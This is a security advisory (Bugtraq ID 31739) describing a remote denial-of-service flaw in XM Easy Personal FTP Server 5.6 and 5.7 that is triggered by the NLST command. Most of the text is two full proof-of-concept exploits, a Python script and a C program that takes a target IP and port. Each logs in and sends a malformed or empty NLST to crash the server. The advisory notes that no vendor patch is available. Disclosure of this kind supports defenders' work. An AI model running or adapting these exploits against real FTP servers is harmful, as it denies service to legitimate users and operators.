XM Easy Personal FTP Server 'NLST' Command Remote Denial of Service Vulnerability
-\\Bugtraq ID:
31739
-\\Class:
Unknown
-\\CVE:
-\\Remote:
Yes
-\\Local:
No
-\\Published:
Oct 13 2008 12:00AM
-\\Updated:
Mar 30 2009 07:26PM
-\\Credit:
shinnai
-\\Vulnerable:
dxmsoft XM Easy Personal FTP Server 5.7
dxmsoft XM Easy Personal FTP Server 5.6
-\\Discussion
XM Easy Personal FTP Server is prone to a remote denial-of-service vulnerability.
This issue allows remote attackers to crash affected FTP servers, denying service to
legitimate users.
XM Easy Personal FTP Server 5.6.0 and 5.70 are vulnerable; other versions may also
be affected.
-\\Exploit(s)/PoC(s):
Attackers may use readily available network utilities to exploit this issue.
The following exploits are available:
===============================================================
31739.py
^^^^^^^^^
print "--------------------------------------------------------------"
print "# XM Easy Personal FTP Server 5.6.0 Remote Denial of Service"
print "# url: http://www.dxm2008.com/"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot]org"
print "# site: http://www.shinnai.net"
print "--------------------------------------------------------------"
import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
conn = s.connect(("127.0.0.1",21))
d = s.recv(1024)
print "Server <- " + d
time.sleep(2)
s.send('USER test\r\n')
print "Client -> USER: test"
d = s.recv(1024)
print "Server <- " + d
time.sleep(2)
s.send('PASS test\r\n')
print "Client -> PASS: test"
d = s.recv(1024)
print "Server <- " + d
time.sleep(2)
s.send('NLST -1\r\n')
print "Client -> NSLT: -1"
d = s.recv(1024)
print "Server <- " + d
time.sleep(2)
except:
print "- Unable to connect. exiting."
===============================================================
31739-Salwan.c
^^^^^^^^^^^^^^^
/*
XM Easy Personnal FTP Server <= 5.7.0
Remote Denial of Service with Request (NLST)
-------------------------------------------------------------------------
The vulnerability is caused due to an error in handling the NLST command.
This can be exploited to crash
the FTP service by sending the "NLST" with NULL argument.
-------------------------------------------------------------------------
Author: Jonathan Salwan
Mail : submit [AT] shell-storm.org
Web : http://www.shell-storm.org
*/
#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"
int syntax(char *file)
{
fprintf(stderr,"XM Easy Personnal FTP Server <= 5.7.0\n");
fprintf(stderr,"=>Syntax : <%s> <ip> <port> <login> <passwd>\n",file);
fprintf(stdout,"=>Exemple : %s 127.0.0.1 21 login1 password1\n",file);
exit(0);
}
int main(int argc, char **argv)
{
if (argc < 4)
syntax(argv[0]);
int port = atoi(argv[2]);
int mysocket;
int mysocket2;
int srv_connect;
int sockaddr_long;
struct sockaddr_in sockaddr_mysocket;
sockaddr_long = sizeof(sockaddr_mysocket);
sockaddr_mysocket.sin_family = AF_INET;
sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
sockaddr_mysocket.sin_port = htons(port);
char request[50];
char answer[200];
fprintf(stdout,"[+]Connect to Server %s\n",argv[1]);
mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
if(mysocket2 == -1){
fprintf(stderr,"[-]FAILED SOCKET\n");
return 1;}
srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket,
sockaddr_long);
if (srv_connect != -1)
{
memset(answer,0,200);
recv(mysocket2,answer,sizeof(answer),0);
sprintf(request, "USER %s\r\n", argv[3]);
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
else{
memset(answer,0,200);
recv(mysocket2,answer,sizeof(answer),0);
}
sprintf(request, "PASS %s\r\n", argv[4]);
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
else{
memset(answer,0,200);
recv(mysocket2,answer,sizeof(answer),0);
}
sprintf(request, "NLST\r\n");
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request NLST\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
}
else{
fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
shutdown(mysocket2,1);
fprintf(stdout,"[+]Done! %s has been Crashed\n", argv[1]);
return 0;
}
-\\Solution
Currently we are not aware of any vendor-supplied patches. If you feel we are in
error or if you are aware of more recent information, please mail us at:
This e-mail address is being protected from spambots. You need JavaScript enabled to view it
.
-\\References(s)
--XM Easy Personal FTP Server Home Page
http://www.dxm2008.com (dxmsoft)
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